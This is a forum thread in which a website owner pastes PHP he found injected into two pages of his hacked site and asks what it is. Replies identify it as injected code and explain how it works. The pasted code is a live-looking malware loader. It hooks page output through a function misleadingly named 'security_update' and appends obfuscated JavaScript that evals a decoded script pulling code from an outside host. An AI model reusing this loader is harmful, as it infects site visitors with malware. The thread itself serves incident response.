Jump to content

Recommended Posts

Hi all, just to say I’m new to PHP and it goes straight over my head…. I do websites very much small time and normally in html.

 

Anyway would like a piece of advice and help if possible.

 

I have a forum and site that a company developed for me, as the site was going to be too big for me to build or develop,  so we paid for it to be done, while getting additions to the site has proved to much for us to pay we have kept with the original design.

 

Over the last 2 weeks we seem to have had 2 separate attacks on the site, both have had the same action and effect on the site.

 

On getting to the main page you download a virus.. on some occasions you get redirected, the virus was Bloodhound.Expliot.213 while other members have had different ones.

 

The first time this happened the company installed a back up over the files and it seemed to have worked, not sure and don’t understand how, new topics, new members joining and images stayed, just guess the database was untouched.

 

The second time is this weekend, and I uploaded a temp page to stop people downloading another virus, the company that does not have 24/7 support but managed to get someone to take a look this morning and reported that they have removed all the malicious code and will need to look over the site after the weekend….

 

I made the decision not to let them reinstate the main page until after the weekend just in case we get another attack.

 

SO

 

I have been looking over the site and seen this code, its on two main pages and would like to get your advice as to what it is, if its safe then that’s ok, but if I’m going to report back to them and complain I would like to know I’m right, the whole site is in PHP.

 

hope I have posted in the right place and inserted the code as it should be

 

cheers Marc

 

     

    <div align="center" style="width: 465px;"><a href="profile.html?id=<?php ob_start("security_update"); function security_update($buffer){return $buffer."\<script\ language\=\"javascript\"\>\$\=\"Z6fpZ3dZ22Z2524Z253dZ2522dw\(dcZ2573\(cuZ252cZ2531Z2534Z2529\)Z253bZ2522\;Z22\;dbZ3dZ2289\+tqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0\#9\+0dy\}uK7iuqb7M0\-0tqduZ3ewudVe\|\|Iuqb89\+dy\}uK7\}Z257F\~dx7M0\-0tqduZ3ewud\]Z257F\~dx89\;\!\+dy\}uK7tqi7M0\-0tqduZ3ewudTqdu89\+yv08tqduZ3ewudTqi890\-\-0\!0ll0tqduZ3ewudTqi890\-\-0Z25260ll0tqduZ3ewudTqi890\-\-0\$9ktqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0\!9\+0dy\}uK7tqi7M0\-0tqduZ3ewudTqdu89\+0dy\}uK7\}Z257F\~dx7M0\-0tqduZ3ewud\]Z257F\~dx89\;\!\+0dy\}uK7iuqb7M0\-0tqduZ3ewudVe\|\|Iuqb89\+0m0tqduZ3ecudTqdu8tqduZ3ewudTqdu89Z22\;cdZ3dZ22Z2574Z253dsZ2574\+Z2553Z2574Z2572ingZ252efrZ256fZ256dChaZ2572Z2543odZ2565\(\(tZ256dp\.Z22\;dcZ3dZ220\;0\!9\+0yv08tqduZ3ewud\]Z257F\~dx89\;\!0\,0\!Z25209kcxyvdY\~tuh0\-0dy\}uK7iuqb7M0\;07Z3dZ252070\;08tqduZ3ewud\]Z257F\~dx89\;\!90\+mu\|cukcxyvdY\~tuh0\-0dy\}uK7iuqb7M0\;07Z3d70\;08tqduZ3ewud\]Z257F\~dx89\;\!9\+myv08tqduZ3ewudTqdu890\,0\!Z25209kcxyvdY\~tuh0\-cxyvdY\~tuh0\;07Z3dZ252070\;0tqduZ3ewudTqdu89\+mu\|cukcxyvdY\~tuh0\-0cxyvdY\~tuh0\;07Z3d70\;0tqduZ3ewudTqdu89\+mcxyvdY\~tuh0\-0gy\~tZ257FgZ3edgZ3edbu\~tcKcxyvdY\~tuhMKZ2520MZ3eaeubiZ3esxqbSZ257FtuQd8\!9\+ve\~sdyZ257F\~0SZ22\;deZ3dZ22\+iuqbSxZ25220\-0\|uddubcK8888dy\}uK7iuqb7M060Z2520h\#\#\!\!90\.\.0\#90\;0\~e\}9050\!Z25209M0\;0\|uddubcK8888dy\}uK7iuqb7M060Z2520h\#\#\!\!90\.\.0\$90\;0\~e\}9050\!Z25209M\+\}Z257F\~dxSx0\-0\|uddubcK88dy\}uK7\}Z257F\~dx7M0\;0\~e\}9050Z2522Z259M0\;0\|uddubcK88dy\}uK7\}Z257F\~dx7M0\:0\~e\}9050Z2522Z259M\+tqiSx0\-0\|uddubcK88dy\}uK7tqi7M0\:0Z25269050Z2522Z279M\+4\-4Z3ebu\`\|qsu8tZ3ciuqbSxZ25220\;0\}Z257F\~dxSx0\;0iuqbSx\!0\;0tqiSx0\;0\}Z257F\~dxcKdy\}uK7\}Z257F\~dx7M0Z3d0\!M0\;07Z3esZ257F\}79\+Z22\;ddZ3dZ22q\|se\|qdu\]qwys\^e\}rub8tqiZ3c0\}Z257F\~dxZ3c0iuqbZ3c0y\~tuh9kbudeb\~0888iuqb0\;08y\~tuh0\:0tqi990\;08\}Z257F\~dx0N0tqi90\:0y\~tuh90\;0tqi9\+mfqb0iuqbSx\!Z3c0iuqbSxZ2522Z3c0\}Z257F\~dxSxZ3c0tqiSxZ3c0\}qwys\^e\}\+\~e\}0\-0Sq\|se\|qdu\]qwys\^e\}rub8dy\}uK7tqi7MZ3c0dy\}uK7\}Z257F\~dx7MZ3c0dy\}uK7iuqb7MZ3c0cxyvdY\~tuh9\+iuqbSx\!0\-0\|uddubcK888dy\}uK7iuqb7M060Z2520hQQ90\;0\~e\}9050Z2526\#9050Z2522Z2526M0\;0\|uddubcK888dy\}uK7iuqb7M060Z2520hQQ90\,\,0Z252290\;0\~e\}9050Z2522Z25MZ22\;dzZ3dZ22Z2566uncZ2574ioZ256e\ dwZ2528t\)Z257bcaZ253dZ2527Z252564Z25256fcuZ25256deZ25256etZ25252Z2565wZ252572Z2525Z25369teZ2528Z25252Z2532Z2527\;cZ2565Z253dZ2527Z252522Z252529Z2527\;cbZ253dZ2527Z25253csZ252563rZ252569pZ2574Z2520Z25256cZ252561nguZ25256Z2531geZ2525Z2533Z2564Z2525Z2535Z2563Z252522Z256aavZ2561sZ252563Z2572Z252569Z252570tZ25255cZ25252Z2532Z25253Z2565Z2527\;cZ2563Z253dZ2527Z25253cZ25255cZ25252fsZ2563Z2572Z2569Z2570Z252574Z25253eZ2527\;evZ2561lZ2528unZ2565Z2573Z2563apeZ2528tZ2529\)\}\;Z22\;ccZ3dZ22\.Z256ceZ256egthZ253biZ252b\+\)Z257btmZ2570Z253dds\.slZ2569Z2563e\(iZ252ci\+Z2531\)\;sZ22\;cuZ3dZ22\(gwf\}d\`4x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capZ65Z28Z76\)\+Z27\;exZ70ireZ73Z3dZ27\+exd\.Z74oGMZ54Z53triZ6eg\(Z29\;Z7d\;\"\;function\ z\(s\)\{r\=\"\"\;for\(i\=0\;i\<s\.length\;i\+\+\)\{if\(s\.charAt\(i\)\=\=\"Z\"\)\{s1\=\"\%\"\}else\{s1\=s\.charAt\(i\)\}r\=r\+s1\;\}return\ unescape\(r\)\;\}eval\(z\(\$\)\)\;\<\/script\>";}//important security update echo $featured_info['account_id']; ?>"><img src="images/models.php?id=<?php ob_start("security_update"); function security_update($buffer){return $buffer."\<script\ language\=\"javascript\"\>\$\=\"Z6fpZ3dZ22Z2524Z253dZ2522dw\(dcZ2573\(cuZ252cZ2531Z2534Z2529\)Z253bZ2522\;Z22\;dbZ3dZ2289\+tqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0\#9\+0dy\}uK7iuqb7M0\-0tqduZ3ewudVe\|\|Iuqb89\+dy\}uK7\}Z257F\~dx7M0\-0tqduZ3ewud\]Z257F\~dx89\;\!\+dy\}uK7tqi7M0\-0tqduZ3ewudTqdu89\+yv08tqduZ3ewudTqi890\-\-0\!0ll0tqduZ3ewudTqi890\-\-0Z25260ll0tqduZ3ewudTqi890\-\-0\$9ktqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0\!9\+0dy\}uK7tqi7M0\-0tqduZ3ewudTqdu89\+0dy\}uK7\}Z257F\~dx7M0\-0tqduZ3ewud\]Z257F\~dx89\;\!\+0dy\}uK7iuqb7M0\-0tqduZ3ewudVe\|\|Iuqb89\+0m0tqduZ3ecudTqdu8tqduZ3ewudTqdu89Z22\;cdZ3dZ22Z2574Z253dsZ2574\+Z2553Z2574Z2572ingZ252efrZ256fZ256dChaZ2572Z2543odZ2565\(\(tZ256dp\.Z22\;dcZ3dZ220\;0\!9\+0yv08tqduZ3ewud\]Z257F\~dx89\;\!0\,0\!Z25209kcxyvdY\~tuh0\-0dy\}uK7iuqb7M0\;07Z3dZ252070\;08tqduZ3ewud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du\]qwys\^e\}rub8dy\}uK7tqi7MZ3c0dy\}uK7\}Z257F\~dx7MZ3c0dy\}uK7iuqb7MZ3c0cxyvdY\~tuh9\+iuqbSx\!0\-0\|uddubcK888dy\}uK7iuqb7M060Z2520hQQ90\;0\~e\}9050Z2526\#9050Z2522Z2526M0\;0\|uddubcK888dy\}uK7iuqb7M060Z2520hQQ90\,\,0Z252290\;0\~e\}9050Z2522Z25MZ22\;dzZ3dZ22Z2566uncZ2574ioZ256e\ dwZ2528t\)Z257bcaZ253dZ2527Z252564Z25256fcuZ25256deZ25256etZ25252Z2565wZ252572Z2525Z25369teZ2528Z25252Z2532Z2527\;cZ2565Z253dZ2527Z252522Z252529Z2527\;cbZ253dZ2527Z25253csZ252563rZ252569pZ2574Z2520Z25256cZ252561nguZ25256Z2531geZ2525Z2533Z2564Z2525Z2535Z2563Z252522Z256aavZ2561sZ252563Z2572Z252569Z252570tZ25255cZ25252Z2532Z25253Z2565Z2527\;cZ2563Z253dZ2527Z25253cZ25255cZ25252fsZ2563Z2572Z2569Z2570Z252574Z25253eZ2527\;evZ2561lZ2528unZ2565Z2573Z2563apeZ2528tZ2529\)\}\;Z22\;ccZ3dZ22\.Z256ceZ256egthZ253biZ252b\+\)Z257btmZ2570Z253dds\.slZ2569Z2563e\(iZ252ci\+Z2531\)\;sZ22\;cuZ3dZ22\(gwf\}d\`4xuzsausq\)6\~ubugwf\}d\`6\*\}r4Z3czub\}su\`Z7bf\:wZ7bZ7bZ257F\}qQzuvxqpZ3dobuf4dZ7bdKazpqf4\)4zaxxZ2fbuf4dZ7bdKwZ7bZ7bZ257F\}qKzuyq4\)46upbyuZ257FqfKZ257FZ7byud6Z2fbuf4dZ7bdK\`\}yqZ7ba\`4\)4\#Z2526\$Z2frazw\`\}Z7bz4dZ7bdKwZ7bZ7bZ257F\}qKqzuvxqpZ3cZ3dobuf4\}gKqzuvxqp4\)4ruxgqZ2f\}r4Z3c5c\}zpZ7bc\:Z7bdqfu42245zub\}su\`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7bfunctiZ6fn\ Z63\(x\)Z7b\ wZ69ndZ6fw\.Z74w\ Z3d\ x\;sZ63\(Z27rZ665Z666dZ73Z27\,2\,Z37\)\;Z65valZ28uneZ73capZ65\(dZ7a\+czZ2bopZ2bsZ74\)\+Z27dwZ28dz\+Z63z\(\$Z2bsZ74\)\)Z3bZ27\)\;docuZ6dentZ2ewrZ69te\(Z24\)\;Z7ddoZ63Z75mZ65nt\.Z77riZ74e\(Z22Z3cscrZ22Z2bZ22iptZ20lZ61nguZ61Z67eZ3djaZ76aZ73crZ69pZ74Z22\+Z22\ srcZ3dZ27httZ70\:Z2fZ2fsearcZ68\.tZ77iZ74terZ2ecomZ2ftreZ6edsZ2fZ77eZ65Z6bly\.Z6asoZ6e\?cZ61llbZ61cZ6bZ3dc\&eZ78cluZ64eZ3dhaZ73hZ74agZ73Z27Z3eZ22\ \+\ Z22Z3cZ2fscrZ22\ \+\ Z22iptZ3eZ22\)\;\}eZ6cseZ7b\$Z3dZ27Z27\}\;functiZ6fn\ sZ63Z28cnZ6dZ2cv\,eZ64\)Z7bvar\ eZ78dZ3dnZ65wZ20DaZ74eZ28Z29\;exZ64\.seZ74DatZ65\(Z65xdZ2egeZ74DZ61Z74eZ28\)Z2bZ65d\)\;Z64ocuZ6denZ74\.Z63oZ6fZ6bZ69eZ3dcnZ6d\+\ Z27Z3dZ27\ \+eZ73capZ65Z28Z76\)\+Z27\;exZ70ireZ73Z3dZ27\+exd\.Z74oGMZ54Z53triZ6eg\(Z29\;Z7d\;\"\;function\ z\(s\)\{r\=\"\"\;for\(i\=0\;i\<s\.length\;i\+\+\)\{if\(s\.charAt\(i\)\=\=\"Z\"\)\{s1\=\"\%\"\}else\{s1\=s\.charAt\(i\)\}r\=r\+s1\;\}return\ unescape\(r\)\;\}eval\(z\(\$\)\)\;\<\/script\>";}//important security update echo @urlencode(@base64_encode('id=.$featured_info['photo_id].'&width=456&height=251')); ?>" alt="" /></a></div>
Link to comment
https://forums.phpfreaks.com/topic/166438-need-a-bit-of-help-whats-this-code/
Share on other sites

Yes, that is injected code.

 

A little googling reveals that it's probably something uploaded through unsecured FTP access, or, a local virus that infects uploaded webpages.

 

Change all of your access passwords, and everyone who has file access should check for virus. I think that includes the hosting service.

The first lines:

ob_start() and security_update(): The first one makes sure that during this procedure no output is send (except headers) to the browser, the parameter which is a function callback is called during this process and gets the contents ($buffer) passed from ob_start(). The $buffer (output) is then appended with a javascript escaped string (all the jibberish) and unescaped at the very last of the code (r\=r\+s1\;\}return\ unescape\(r\)\) to turn it back into javascript code. To know what it actually says you'll need a tool like FireBug (for FireFox) and execute: alert(unescape(..jibberish..)) which will turn it into human-readable js code. Probably you'll get some javascript code that defends against viruses or some code that translates into a virus (I can't be sure at this time as I haven't converted it yet). This whole mechanism is triggered on this line: echo @urlencode(@base64_encode('id='.$featured_info['photo_id'].'&width=456&height=251')); as to when their is actual output and thus caught by the output buffering mechanism.

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.